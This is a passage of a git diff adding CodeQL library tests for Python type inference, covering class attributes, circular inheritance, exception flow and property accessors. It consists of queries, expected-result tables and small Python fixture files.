int 7 | +| class New | has | i1 | int 5 | +| class New | has | i2 | int 5 | +| class NewDerived | has | a2 | int 7 | +| class NewDerived | has | i1 | int 5 | +| class NewDerived | has | i2 | int 5 | +| class Old | declares | a2 | int 7 | +| class Old | declares | i1 | int 5 | +| class Old | declares | i2 | int 5 | +| class Old | has | a2 | int 7 | +| class Old | has | i1 | int 5 | +| class Old | has | i2 | int 5 | +| class OldDerived | has | a2 | int 7 | +| class OldDerived | has | i1 | int 5 | +| class OldDerived | has | i2 | int 5 | +| class Tree | has | x | int 1 | diff --git a/python/ql/test/library-tests/types/classattr/ClassMember.ql b/python/ql/test/library-tests/types/classattr/ClassMember.ql new file mode 100644 index 00000000000..b76851dd43d --- /dev/null +++ b/python/ql/test/library-tests/types/classattr/ClassMember.ql @@ -0,0 +1,18 @@ +/** + * @name ClassAttribute + * @description Test for Class attributes + * @kind test + */ + +import python + +from ClassObject cls, string name, string kind, Object o +where +not cls.isC() and +not name.matches("\\_\\_%\\_\\_") and +( + o = cls.lookupAttribute(name) and kind = "has" + or + o = cls.declaredAttribute(name) and kind = "declares" +) +select cls.toString(), kind, name, o.toString() diff --git a/python/ql/test/library-tests/types/classattr/SpecialAttribute.expected b/python/ql/test/library-tests/types/classattr/SpecialAttribute.expected new file mode 100644 index 00000000000..c27c4e9c83f --- /dev/null +++ b/python/ql/test/library-tests/types/classattr/SpecialAttribute.expected @@ -0,0 +1,6 @@ +| class Special1 | declares | __add__ | int 1 | +| class Special1 | has | __add__ | int 1 | +| class Special2 | declares | __float__ | int 2 | +| class Special2 | has | __float__ | int 2 | +| class Special3 | has | __add__ | int 1 | +| class Special3 | has | __float__ | int 2 | diff --git a/python/ql/test/library-tests/types/classattr/SpecialAttribute.ql b/python/ql/test/library-tests/types/classattr/SpecialAttribute.ql new file mode 100644 index 00000000000..cdfd29b8d91 --- /dev/null +++ b/python/ql/test/library-tests/types/classattr/SpecialAttribute.ql @@ -0,0 +1,14 @@ + +import python + +from ClassObject cls, string name, string kind, Object o +where +not cls.isC() and +name.matches("\\_\\_%\\_\\_") and +not o = theObjectType().lookupAttribute(name) and +( + o = cls.lookupAttribute(name) and kind = "has" + or + o = cls.declaredAttribute(name) and kind = "declares" +) +select cls.toString(), kind, name, o.toString() diff --git a/python/ql/test/library-tests/types/classattr/classattr.py b/python/ql/test/library-tests/types/classattr/classattr.py new file mode 100644 index 00000000000..23dc24499f7 --- /dev/null +++ b/python/ql/test/library-tests/types/classattr/classattr.py @@ -0,0 +1,64 @@ +#Test various permutations of known and unknown values, old and new style class and shadowed and unshadowed names. + +from unknown import u1 +i1 = 5 +from unknown import g1 +g2 = 7 + + +class Old: + + a1 = g1 + a2 = g2 + u2 = u1 + u1 = u1 + i2 = i1 + i1 = i1 + +class New(object): + + a1 = g1 + a2 = g2 + u2 = u1 + u1 = u1 + i2 = i1 + i1 = i1 + +class OldDerived(Old): + pass + +class NewDerived(New): + pass + +class Base(object): + x = 1 + +class D1(Base): + pass + +class D2(Base): + pass + +class Diamond(D1, D2): + pass + +class Base2(object): + x = 2 + +class D3(Base2): + pass + + +class Tree(D1, D3): + pass + +class Special1(object): + __add__ = 1 + +class Special2(object): + __float__ = 2 + +class Special3(Special1, Special2): + pass + + diff --git a/python/ql/test/library-tests/types/classes/FailedInference.expected b/python/ql/test/library-tests/types/classes/FailedInference.expected new file mode 100644 index 00000000000..916075a656c --- /dev/null +++ b/python/ql/test/library-tests/types/classes/FailedInference.expected @@ -0,0 +1,25 @@ +| circular_inheritance.py:33:1:33:11 | class A | Missing base 0 | +| circular_inheritance.py:37:1:37:11 | class B | Missing base 0 | +| circular_inheritance.py:40:1:40:72 | class D | Duplicate bases classes | +| circular_inheritance.py:43:1:43:41 | class E | Duplicate bases classes | +| circular_inheritance.py:43:1:43:41 | class E | Failed inference for base class at position 0 | +| circular_inheritance.py:43:1:43:41 | class E | Failed inference for base class at position 1 | +| circular_inheritance.py:43:1:43:41 | class E | Failed inference for base class at position 2 | +| circular_inheritance.py:43:1:43:41 | class E | Failed inference for base class at position 3 | +| circular_inheritance.py:43:1:43:41 | class E | Failed inference for base class at position 4 | +| circular_inheritance.py:43:1:43:41 | class E | Failed inference for base class at position 5 | +| circular_inheritance.py:43:1:43:41 | class E | Failed inference for base class at position 6 | +| circular_inheritance.py:43:1:43:41 | class E | Failed inference for base class at position 7 | +| circular_inheritance.py:43:1:43:41 | class E | Failed inference for base class at position 8 | +| circular_inheritance.py:43:1:43:41 | class E | Failed inference for base class at position 9 | +| circular_inheritance.py:43:1:43:41 | class E | Failed inference for base class at position 10 | +| circular_inheritance.py:47:1:47:19 | class G | Missing base 0 | +| circular_inheritance.py:50:1:50:19 | class J | Missing base 0 | +| circular_inheritance.py:54:1:54:11 | class M | Missing base 0 | +| circular_inheritance.py:57:1:57:11 | class L | Missing base 0 | +| circular_inheritance.py:61:1:61:19 | class S | Missing base 0 | +| circular_inheritance.py:64:1:64:19 | class R | Missing base 0 | +| mutual_inheritance.py:4:1:4:11 | class C | Missing base 0 | +| mutual_inheritance.py:8:1:8:19 | class H | Missing base 0 | +| mutual_inheritance.py:12:1:12:11 | class N | Missing base 0 | +| mutual_inheritance.py:15:1:15:19 | class T | Missing base 0 | diff --git a/python/ql/test/library-tests/types/classes/FailedInference.ql b/python/ql/test/library-tests/types/classes/FailedInference.ql new file mode 100644 index 00000000000..129c17ffd9d --- /dev/null +++ b/python/ql/test/library-tests/types/classes/FailedInference.ql @@ -0,0 +1,11 @@ + +import python +import semmle.python.pointsto.PointsTo + +from ClassObject cls, string reason + +where +PointsTo::Types::failed_inference(cls, reason) + +select cls, reason + diff --git a/python/ql/test/library-tests/types/classes/c_inheritance.py b/python/ql/test/library-tests/types/classes/c_inheritance.py new file mode 100644 index 00000000000..92656455660 --- /dev/null +++ b/python/ql/test/library-tests/types/classes/c_inheritance.py @@ -0,0 +1,6 @@ + +class MyList(list): + pass + +class MyDict(dict): + pass diff --git a/python/ql/test/library-tests/types/classes/circular_inheritance.py b/python/ql/test/library-tests/types/classes/circular_inheritance.py new file mode 100644 index 00000000000..5c23f152f1b --- /dev/null +++ b/python/ql/test/library-tests/types/classes/circular_inheritance.py @@ -0,0 +1,67 @@ +from mutual_inheritance import C, H, N, T + +#Good newstyle classes + +class W(object): + pass + +class X(W): + pass + +class Y(X): + pass + +class Z(Y, X): + pass + +#Good oldstyle classes + +class O1: + pass + +class O2(O1): + pass + +class O3(O1): + pass + +class O4(O2, O3): + pass + +#Bad classes -- Illegal and designed to break MRO computation + +class A(A): + pass + +#Two way cycle +class B(C): + pass + +class D(object, object, object, object, object, object, object, object): + pass + +class E(D, D, D, D, D, D, D, D, D, D, D): + pass + +#Two way cycle with object +class G(H, object): + pass + +class J(J, object): + pass + +#Three way cycle +class M(N): + pass + +class L(M): + pass + +#Three way cycle with object +class S(T, object): + pass + +class R(S, object): + pass + + diff --git a/python/ql/test/library-tests/types/classes/duplicate_base.expected b/python/ql/test/library-tests/types/classes/duplicate_base.expected new file mode 100644 index 00000000000..7f41c6bbe8a --- /dev/null +++ b/python/ql/test/library-tests/types/classes/duplicate_base.expected @@ -0,0 +1,2 @@ +| class D | +| class E | diff --git a/python/ql/test/library-tests/types/classes/duplicate_base.ql b/python/ql/test/library-tests/types/classes/duplicate_base.ql new file mode 100644 index 00000000000..4f865754088 --- /dev/null +++ b/python/ql/test/library-tests/types/classes/duplicate_base.ql @@ -0,0 +1,7 @@ + +import python + +from ClassObject cls +where cls.hasDuplicateBases() +select cls.toString() + diff --git a/python/ql/test/library-tests/types/classes/mutual_inheritance.py b/python/ql/test/library-tests/types/classes/mutual_inheritance.py new file mode 100644 index 00000000000..4852bace9be --- /dev/null +++ b/python/ql/test/library-tests/types/classes/mutual_inheritance.py @@ -0,0 +1,17 @@ +from circular_inheritance import B, G, L, R + +#Two way cycle +class C(B): + pass + +#Two way cycle with object +class H(G, object): + pass + +#Three way cycle +class N(L): + pass + +class T(R, object): + pass + diff --git a/python/ql/test/library-tests/types/exceptions/ExitRaises.expected b/python/ql/test/library-tests/types/exceptions/ExitRaises.expected new file mode 100644 index 00000000000..1c54a818dbb --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/ExitRaises.expected @@ -0,0 +1,28 @@ +| 16 | test.py:16:5:16:22 | ControlFlowNode for Raise | Function f2 | test.py:3:1:3:28 | class ExceptionA | +| 22 | test.py:22:5:22:8 | ControlFlowNode for f2() | Function f5 | test.py:3:1:3:28 | class ExceptionA | +| 25 | test.py:25:5:25:22 | ControlFlowNode for Raise | Function f6 | test.py:6:1:6:28 | class ExceptionB | +| 30 | test.py:30:9:30:26 | ControlFlowNode for Raise | Function f7 | test.py:3:1:3:28 | class ExceptionA | +| 32 | test.py:32:9:32:26 | ControlFlowNode for Raise | Function f7 | test.py:6:1:6:28 | class ExceptionB | +| 36 | test.py:36:9:36:12 | ControlFlowNode for f7() | Function f8 | test.py:3:1:3:28 | class ExceptionA | +| 44 | test.py:44:9:44:12 | ControlFlowNode for Pass | Function f8a | test.py:3:1:3:28 | class ExceptionA | +| 44 | test.py:44:9:44:12 | ControlFlowNode for Pass | Function f8a | test.py:6:1:6:28 | class ExceptionB | +| 53 | test.py:53:9:53:12 | ControlFlowNode for Pass | Function f9 | test.py:3:1:3:28 | class ExceptionA | +| 71 | test.py:71:9:71:26 | ControlFlowNode for Raise | Function f11 | test.py:9:1:9:28 | class ExceptionC | +| 71 | test.py:71:9:71:26 | ControlFlowNode for Raise | Function f11 | test.py:9:1:9:28 | class ExceptionC | +| 74 | test.py:74:5:74:14 | ControlFlowNode for Subscript | Function f12 | file://:Compiled Code:0:0:0:0 | builtin-class LookupError | +| 107 | test.py:107:9:107:12 | ControlFlowNode for Pass | Function f18 | file://:Compiled Code:0:0:0:0 | builtin-class LookupError | +| 110 | test.py:110:5:110:22 | ControlFlowNode for Raise | Function f19 | file://:Compiled Code:0:0:0:0 | builtin-class IndexError | +| 120 | test.py:120:9:120:13 | ControlFlowNode for f19() | Function f21 | file://:Compiled Code:0:0:0:0 | builtin-class IndexError | +| 128 | test.py:128:9:128:12 | ControlFlowNode for Pass | Function f22 | file://:Compiled Code:0:0:0:0 | builtin-class IndexError | +| 138 | test.py:138:13:138:16 | ControlFlowNode for Pass | Function f23 | test.py:3:1:3:28 | class ExceptionA | +| 138 | test.py:138:13:138:16 | ControlFlowNode for Pass | Function f23 | test.py:6:1:6:28 | class ExceptionB | +| 138 | test.py:138:13:138:16 | ControlFlowNode for Pass | Function f23 | test.py:9:1:9:28 | class ExceptionC | +| 138 | test.py:138:13:138:16 | ControlFlowNode for Pass | Function f23 | test.py:9:1:9:28 | class ExceptionC | +| 152 | test.py:152:9:152:12 | ControlFlowNode for Pass | Function f24 | test.py:3:1:3:28 | class ExceptionA | +| 152 | test.py:152:9:152:12 | ControlFlowNode for Pass | Function f24 | test.py:6:1:6:28 | class ExceptionB | +| 171 | test.py:171:13:171:16 | ControlFlowNode for Pass | Function f25 | test.py:9:1:9:28 | class ExceptionC | +| 171 | test.py:171:13:171:16 | ControlFlowNode for Pass | Function f25 | test.py:9:1:9:28 | class ExceptionC | +| 172 | test.py:172:9:172:12 | ControlFlowNode for Pass | Function f25 | test.py:3:1:3:28 | class ExceptionA | +| 172 | test.py:172:9:172:12 | ControlFlowNode for Pass | Function f25 | test.py:6:1:6:28 | class ExceptionB | +| 178 | test.py:178:9:178:12 | ControlFlowNode for f7() | Function f26 | test.py:6:1:6:28 | class ExceptionB | +| 183 | test.py:183:9:183:26 | ControlFlowNode for Raise | Function f26 | test.py:9:1:9:28 | class ExceptionC | diff --git a/python/ql/test/library-tests/types/exceptions/ExitRaises.ql b/python/ql/test/library-tests/types/exceptions/ExitRaises.ql new file mode 100644 index 00000000000..efa1f66b8d8 --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/ExitRaises.ql @@ -0,0 +1,6 @@ +import python + +from RaisingNode r, Scope s, ClassObject cls +where r.viableExceptionalExit(s, cls) + +select r.getLocation().getStartLine(), r, s.toString(), cls diff --git a/python/ql/test/library-tests/types/exceptions/Handles.expected b/python/ql/test/library-tests/types/exceptions/Handles.expected new file mode 100644 index 00000000000..4fa3c5505c5 --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/Handles.expected @@ -0,0 +1,16 @@ +| 37 | class ExceptionB | +| 50 | class ExceptionB | +| 59 | class ExceptionB | +| 68 | class ExceptionB | +| 82 | builtin-class KeyError | +| 88 | builtin-class IndexError | +| 94 | builtin-class AttributeError | +| 100 | class ExceptionA | +| 115 | builtin-class IndexError | +| 121 | builtin-class KeyError | +| 181 | class ExceptionA | +| 191 | class A | +| 197 | class ExceptionA | +| 197 | class ExceptionB | +| 201 | builtin-class KeyError | +| 201 | class ExceptionC | diff --git a/python/ql/test/library-tests/types/exceptions/Handles.ql b/python/ql/test/library-tests/types/exceptions/Handles.ql new file mode 100644 index 00000000000..51ceba1a6fb --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/Handles.ql @@ -0,0 +1,7 @@ + + +import python + +from ExceptFlowNode n, ClassObject cls +where n.handles(cls) +select n.getLocation().getStartLine(), cls.toString() diff --git a/python/ql/test/library-tests/types/exceptions/Impossible.expected b/python/ql/test/library-tests/types/exceptions/Impossible.expected new file mode 100644 index 00000000000..6df55b7bd7e --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/Impossible.expected @@ -0,0 +1,47 @@ +| 22 | 21 | f2() | Function f5 | normal | +| 36 | 34 | f7() | Function f8 | normal | +| 36 | 37 | f7 | ExceptStmt | exceptional | +| 42 | 44 | f7 | Pass | exceptional | +| 42 | 44 | f7() | Pass | normal | +| 49 | 50 | f7 | ExceptStmt | exceptional | +| 49 | 53 | f7 | Pass | exceptional | +| 49 | 53 | f7() | Pass | normal | +| 50 | 53 | ExceptionB | Pass | exceptional | +| 58 | 59 | f7 | ExceptStmt | exceptional | +| 58 | 62 | f7 | Return | exceptional | +| 58 | 62 | f7() | Return | normal | +| 59 | 62 | ExceptionB | Return | exceptional | +| 67 | 68 | f7 | ExceptStmt | exceptional | +| 67 | 71 | f7 | ExceptionC | exceptional | +| 67 | 71 | f7() | ExceptionC | normal | +| 68 | 71 | ExceptionB | ExceptionC | exceptional | +| 81 | 82 | x | ExceptStmt | exceptional | +| 87 | 88 | x | ExceptStmt | exceptional | +| 93 | 94 | x | ExceptStmt | exceptional | +| 99 | 100 | Attribute | ExceptStmt | exceptional | +| 99 | 100 | x | ExceptStmt | exceptional | +| 105 | 107 | x | Pass | exceptional | +| 114 | 112 | f19() | Function f20 | normal | +| 114 | 115 | f19 | ExceptStmt | exceptional | +| 120 | 118 | f19() | Function f21 | normal | +| 120 | 121 | f19 | ExceptStmt | exceptional | +| 120 | 121 | f19() | ExceptStmt | exceptional | +| 126 | 128 | f19 | Pass | exceptional | +| 126 | 128 | f19() | Pass | normal | +| 132 | 134 | f7 | Try | exceptional | +| 132 | 134 | f7() | Try | normal | +| 135 | 138 | x | Pass | exceptional | +| 136 | 138 | ExceptionC | Pass | exceptional | +| 136 | 138 | ExceptionC() | Pass | exceptional | +| 146 | 147 | f7() | Pass | normal | +| 146 | 150 | f7 | Pass | exceptional | +| 158 | 159 | f7() | Pass | normal | +| 158 | 162 | f7 | Try | exceptional | +| 164 | 169 | x | Pass | exceptional | +| 166 | 169 | ExceptionC | Pass | exceptional | +| 166 | 169 | ExceptionC() | Pass | exceptional | +| 178 | 179 | f7() | Pass | normal | +| 178 | 181 | f7 | ExceptStmt | exceptional | +| 189 | 191 | A() | ExceptStmt | exceptional | +| 196 | 197 | func | ExceptStmt | exceptional | +| 200 | 201 | func | ExceptStmt | exceptional | diff --git a/python/ql/test/library-tests/types/exceptions/Impossible.ql b/python/ql/test/library-tests/types/exceptions/Impossible.ql new file mode 100644 index 00000000000..e215a7e96ca --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/Impossible.ql @@ -0,0 +1,20 @@ + + +import python + +from RaisingNode r, ControlFlowNode n, string kind +where r.unlikelySuccessor(n) and +( + r.getATrueSuccessor() = n and kind = "true" + or + r.getAFalseSuccessor() = n and kind = "false" + or + r.getAnExceptionalSuccessor() = n and kind = "exceptional" + or + not r.getATrueSuccessor() = n and + not r.getAFalseSuccessor() = n and + not r.getAnExceptionalSuccessor() = n and + kind = "normal" + +) +select r.getLocation().getStartLine(), n.getLocation().getStartLine(), r.getNode().toString(), n.getNode().toString(), kind diff --git a/python/ql/test/library-tests/types/exceptions/LineRaises.expected b/python/ql/test/library-tests/types/exceptions/LineRaises.expected new file mode 100644 index 00000000000..fc08cde2a53 --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/LineRaises.expected @@ -0,0 +1,93 @@ +| 3 | None | +| 6 | None | +| 9 | None | +| 16 | None | +| 16 | class ExceptionA | +| 22 | class ExceptionA | +| 25 | None | +| 25 | class ExceptionB | +| 30 | None | +| 30 | class ExceptionA | +| 32 | None | +| 32 | class ExceptionB | +| 36 | None | +| 36 | class ExceptionA | +| 36 | class ExceptionB | +| 42 | None | +| 42 | class ExceptionA | +| 42 | class ExceptionB | +| 44 | class ExceptionA | +| 44 | class ExceptionB | +| 49 | None | +| 49 | class ExceptionA | +| 49 | class ExceptionB | +| 50 | None | +| 53 | class ExceptionA | +| 58 | None | +| 58 | class ExceptionA | +| 58 | class ExceptionB | +| 59 | None | +| 67 | None | +| 67 | class ExceptionA | +| 67 | class ExceptionB | +| 68 | None | +| 71 | None | +| 71 | class ExceptionC | +| 74 | builtin-class LookupError | +| 81 | None | +| 81 | builtin-class KeyError | +| 87 | None | +| 87 | builtin-class IndexError | +| 93 | None | +| 93 | builtin-class AttributeError | +| 99 | None | +| 105 | None | +| 105 | builtin-class LookupError | +| 107 | builtin-class LookupError | +| 110 | None | +| 110 | builtin-class IndexError | +| 114 | None | +| 114 | builtin-class IndexError | +| 120 | None | +| 120 | builtin-class IndexError | +| 126 | None | +| 126 | builtin-class IndexError | +| 128 | builtin-class IndexError | +| 132 | None | +| 132 | class ExceptionA | +| 132 | class ExceptionB | +| 135 | None | +| 136 | None | +| 136 | class ExceptionC | +| 138 | class ExceptionA | +| 138 | class ExceptionB | +| 138 | class ExceptionC | +| 146 | None | +| 146 | class ExceptionA | +| 146 | class ExceptionB | +| 152 | class ExceptionA | +| 152 | class ExceptionB | +| 158 | None | +| 158 | class ExceptionA | +| 158 | class ExceptionB | +| 164 | None | +| 166 | None | +| 166 | class ExceptionC | +| 171 | class ExceptionC | +| 172 | class ExceptionA | +| 172 | class ExceptionB | +| 178 | None | +| 178 | class ExceptionA | +| 178 | class ExceptionB | +| 183 | None | +| 183 | class ExceptionC | +| 186 | None | +| 189 | None | +| 190 | class A | +| 196 | None | +| 196 | Unknown | +| 200 | None | +| 200 | Unknown | +| 206 | None | +| 206 | Unknown | +| 209 | Unknown | diff --git a/python/ql/test/library-tests/types/exceptions/LineRaises.ql b/python/ql/test/library-tests/types/exceptions/LineRaises.ql new file mode 100644 index 00000000000..f1f51952d00 --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/LineRaises.ql @@ -0,0 +1,13 @@ + +import python + +from RaisingNode r, string type +where + type = r.getARaisedType().toString() + or + type = "Unknown" and r.raisesUnknownType() + or + not exists(r.getARaisedType()) and + not r.raisesUnknownType() and type = "None" + +select r.getNode().getLocation().getStartLine(), type diff --git a/python/ql/test/library-tests/types/exceptions/Raises.expected b/python/ql/test/library-tests/types/exceptions/Raises.expected new file mode 100644 index 00000000000..bc0ff2e0e3f --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/Raises.expected @@ -0,0 +1,37 @@ +| Function coro | Unknown | +| Function f1 | None | +| Function f2 | class ExceptionA | +| Function f5 | class ExceptionA | +| Function f6 | class ExceptionB | +| Function f7 | class ExceptionA | +| Function f7 | class ExceptionB | +| Function f8 | class ExceptionA | +| Function f8a | class ExceptionA | +| Function f8a | class ExceptionB | +| Function f9 | class ExceptionA | +| Function f10 | None | +| Function f11 | class ExceptionC | +| Function f12 | builtin-class LookupError | +| Function f13 | None | +| Function f14 | None | +| Function f15 | None | +| Function f16 | None | +| Function f17 | None | +| Function f18 | builtin-class LookupError | +| Function f19 | builtin-class IndexError | +| Function f20 | None | +| Function f21 | builtin-class IndexError | +| Function f22 | builtin-class IndexError | +| Function f23 | class ExceptionA | +| Function f23 | class ExceptionB | +| Function f23 | class ExceptionC | +| Function f24 | class ExceptionA | +| Function f24 | class ExceptionB | +| Function f25 | class ExceptionA | +| Function f25 | class ExceptionB | +| Function f25 | class ExceptionC | +| Function f26 | class ExceptionB | +| Function f26 | class ExceptionC | +| Function f27 | None | +| Function test_handled | Unknown | +| Function use_coro | Unknown | diff --git a/python/ql/test/library-tests/types/exceptions/Raises.ql b/python/ql/test/library-tests/types/exceptions/Raises.ql new file mode 100644 index 00000000000..b003fd03dfa --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/Raises.ql @@ -0,0 +1,13 @@ + +import python + +from PyFunctionObject f, string type +where + type = f.getARaisedType().toString() + or + type = "Unknown" and f.raisesUnknownType() + or + not exists(f.getARaisedType()) and + not f.raisesUnknownType() and type = "None" + +select f.toString(), type \ No newline at end of file diff --git a/python/ql/test/library-tests/types/exceptions/Reraises.expected b/python/ql/test/library-tests/types/exceptions/Reraises.expected new file mode 100644 index 00000000000..48bf8be907f --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/Reraises.expected @@ -0,0 +1,15 @@ +| 44 | test.py:44:9:44:12 | ControlFlowNode for Pass | class ExceptionA | +| 44 | test.py:44:9:44:12 | ControlFlowNode for Pass | class ExceptionB | +| 53 | test.py:53:9:53:12 | ControlFlowNode for Pass | class ExceptionA | +| 107 | test.py:107:9:107:12 | ControlFlowNode for Pass | builtin-class LookupError | +| 128 | test.py:128:9:128:12 | ControlFlowNode for Pass | builtin-class IndexError | +| 138 | test.py:138:13:138:16 | ControlFlowNode for Pass | class ExceptionA | +| 138 | test.py:138:13:138:16 | ControlFlowNode for Pass | class ExceptionB | +| 138 | test.py:138:13:138:16 | ControlFlowNode for Pass | class ExceptionC | +| 138 | test.py:138:13:138:16 | ControlFlowNode for Pass | class ExceptionC | +| 152 | test.py:152:9:152:12 | ControlFlowNode for Pass | class ExceptionA | +| 152 | test.py:152:9:152:12 | ControlFlowNode for Pass | class ExceptionB | +| 171 | test.py:171:13:171:16 | ControlFlowNode for Pass | class ExceptionC | +| 171 | test.py:171:13:171:16 | ControlFlowNode for Pass | class ExceptionC | +| 172 | test.py:172:9:172:12 | ControlFlowNode for Pass | class ExceptionA | +| 172 | test.py:172:9:172:12 | ControlFlowNode for Pass | class ExceptionB | diff --git a/python/ql/test/library-tests/types/exceptions/Reraises.ql b/python/ql/test/library-tests/types/exceptions/Reraises.ql new file mode 100644 index 00000000000..9edcdf57b4b --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/Reraises.ql @@ -0,0 +1,6 @@ + +import python + +from ReraisingNode r + +select r.getLocation().getStartLine(), r, r.getARaisedType().toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/types/exceptions/Viable.expected b/python/ql/test/library-tests/types/exceptions/Viable.expected new file mode 100644 index 00000000000..11e0cbd0ef3 --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/Viable.expected @@ -0,0 +1,25 @@ +| 36 | 37 | f7() | ExceptStmt | class ExceptionB | +| 42 | 44 | f7() | Pass | class ExceptionA | +| 42 | 44 | f7() | Pass | class ExceptionB | +| 49 | 50 | f7() | ExceptStmt | class ExceptionB | +| 49 | 53 | f7() | Pass | class ExceptionA | +| 58 | 59 | f7() | ExceptStmt | class ExceptionB | +| 58 | 62 | f7() | Return | class ExceptionA | +| 67 | 68 | f7() | ExceptStmt | class ExceptionB | +| 67 | 71 | f7() | ExceptionC | class ExceptionA | +| 81 | 82 | Subscript | ExceptStmt | builtin-class KeyError | +| 87 | 88 | Subscript | ExceptStmt | builtin-class IndexError | +| 93 | 94 | Attribute | ExceptStmt | builtin-class AttributeError | +| 105 | 107 | Subscript | Pass | builtin-class LookupError | +| 114 | 115 | f19() | ExceptStmt | builtin-class IndexError | +| 126 | 128 | f19() | Pass | builtin-class IndexError | +| 132 | 134 | f7() | Try | class ExceptionA | +| 132 | 134 | f7() | Try | class ExceptionB | +| 136 | 138 | Raise | Pass | class ExceptionC | +| 146 | 150 | f7() | Pass | class ExceptionA | +| 146 | 150 | f7() | Pass | class ExceptionB | +| 158 | 162 | f7() | Try | class ExceptionA | +| 158 | 162 | f7() | Try | class ExceptionB | +| 166 | 169 | Raise | Pass | class ExceptionC | +| 178 | 181 | f7() | ExceptStmt | class ExceptionA | +| 190 | 191 | Raise | ExceptStmt | class A | diff --git a/python/ql/test/library-tests/types/exceptions/Viable.ql b/python/ql/test/library-tests/types/exceptions/Viable.ql new file mode 100644 index 00000000000..544b0a0d0b6 --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/Viable.ql @@ -0,0 +1,7 @@ + + +import python + +from RaisingNode r, ControlFlowNode n, ClassObject ex +where r.viableExceptionEdge(n, ex) +select r.getLocation().getStartLine(), n.getLocation().getStartLine(), r.getNode().toString(), n.getNode().toString(), ex.toString() diff --git a/python/ql/test/library-tests/types/exceptions/test.py b/python/ql/test/library-tests/types/exceptions/test.py new file mode 100644 index 00000000000..d6b19ca987a --- /dev/null +++ b/python/ql/test/library-tests/types/exceptions/test.py @@ -0,0 +1,211 @@ + + +class ExceptionA(Exception): + pass + +class ExceptionB(Exception): + pass + +class ExceptionC(Exception): + pass + +def f1(): + pass + +def f2(): + raise ExceptionA() + + + + +def f5(): + f2() + +def f6(): + raise ExceptionB() + raise IOError() + +def f7(): + if x: + raise ExceptionA() + else: + raise ExceptionB() + +def f8(): + try: + f7() + except ExceptionB: + pass + +def f8a(): + try: + f7() + finally: + pass + +def f9(): + try: + try: + f7() + except ExceptionB: + pass + finally: + pass + +def f10(): + try: + try: + f7() + except ExceptionB: + pass + finally: + return + +def f11(): + try: + try: + f7() + except ExceptionB: + pass + finally: + raise ExceptionC() + +def f12(): + x["Hello"] + +def f13(): + x.attr + +def f14(): + try: + x["Hello"] + except KeyError: + pass + +def f15(): + try: + x[1] + except IndexError: + pass + +def f16(): + try: + x.attr + except AttributeError: + pass + +def f17(): + try: + x.attr + except ExceptionA: + pass + +def f18(): + try: + x["Hello"] + finally: + pass + +def f19(): + raise IndexError() + +def f20(): + try: + f19() + except IndexError: + pass + +def f21(): + try: + f19() + except KeyError: + pass + +def f22(): + try: + f19() + finally: + pass + +def f23(): + try: + f7() + finally: + try: + if x: + raise ExceptionC() + finally: + pass + +#Longer basic blocks + +def f24(): + try: + pass + pass + f7() + pass + pass + finally: + pass + pass + pass + +def f25(): + try: + pass + pass + f7() + pass + pass + finally: + try: + pass + if x: + pass + raise ExceptionC() + pass + finally: + pass + pass + pass + pass + +def f26(): + try: + pass + pass + f7() + pass + pass + except ExceptionA: + pass + raise ExceptionC() + +def f27(): + class A(BaseException): + pass + try: + a = A() + raise a + except A: + pass + +def test_handled(): + try: + func() + except (ExceptionA, ExceptionB): + pass + try: + func() + except (ExceptionC, KeyError) as ex: + pass + +def coro(): + yield 0 + raise SpecialException() + +def use_coro(): + yield coro() + reachable + diff --git a/python/ql/test/library-tests/types/functions/Zope.expected b/python/ql/test/library-tests/types/functions/Zope.expected new file mode 100644 index 00000000000..339baf4798a --- /dev/null +++ b/python/ql/test/library-tests/types/functions/Zope.expected @@ -0,0 +1 @@ +| Function yes | diff --git a/python/ql/test/library-tests/types/functions/Zope.ql b/python/ql/test/library-tests/types/functions/Zope.ql new file mode 100644 index 00000000000..d3143778b2b --- /dev/null +++ b/python/ql/test/library-tests/types/functions/Zope.ql @@ -0,0 +1,6 @@ + +import python +import semmle.python.libraries.Zope + +from ZopeInterfaceMethod f +select f.toString() diff --git a/python/ql/test/library-tests/types/functions/test.py b/python/ql/test/library-tests/types/functions/test.py new file mode 100644 index 00000000000..7e2b24607be --- /dev/null +++ b/python/ql/test/library-tests/types/functions/test.py @@ -0,0 +1,12 @@ +import zope.interface + +#ODASA-6062 +class Z(zope.interface.Interface): + + def yes(arg): + pass + +class NotZ(object): + + def no(self): + pass diff --git a/python/ql/test/library-tests/types/functions/zope/__init__.py b/python/ql/test/library-tests/types/functions/zope/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/types/functions/zope/interface.py b/python/ql/test/library-tests/types/functions/zope/interface.py new file mode 100644 index 00000000000..0bad91e9620 --- /dev/null +++ b/python/ql/test/library-tests/types/functions/zope/interface.py @@ -0,0 +1,6 @@ +#Fake zope.interface Module + +class InterfaceClass(object): + pass + +Interface = InterfaceClass() diff --git a/python/ql/test/library-tests/types/properties/Deleters.expected b/python/ql/test/library-tests/types/properties/Deleters.expected new file mode 100644 index 00000000000..1fb91ed794b --- /dev/null +++ b/python/ql/test/library-tests/types/properties/Deleters.expected @@ -0,0 +1 @@ +| Property p2 | Function p2 | \ No newline at end of file diff --git a/python/ql/test/library-tests/types/properties/Deleters.ql b/python/ql/test/library-tests/types/properties/Deleters.ql new file mode 100644 index 00000000000..e57f5917e6e --- /dev/null +++ b/python/ql/test/library-tests/types/properties/Deleters.ql @@ -0,0 +1,5 @@ +import python + +from PythonPropertyObject p + +select p.toString(), p.getDeleter().toString() diff --git a/python/ql/test/library-tests/types/properties/Getters.expected b/python/ql/test/library-tests/types/properties/Getters.expected new file mode 100644 index 00000000000..c451d9c1f38 --- /dev/null +++ b/python/ql/test/library-tests/types/properties/Getters.expected @@ -0,0 +1,3 @@ +| Property p1 | Function p1 | +| Property p2 | Function p2 | +| Property p3 | Function p3 | \ No newline at end of file diff --git 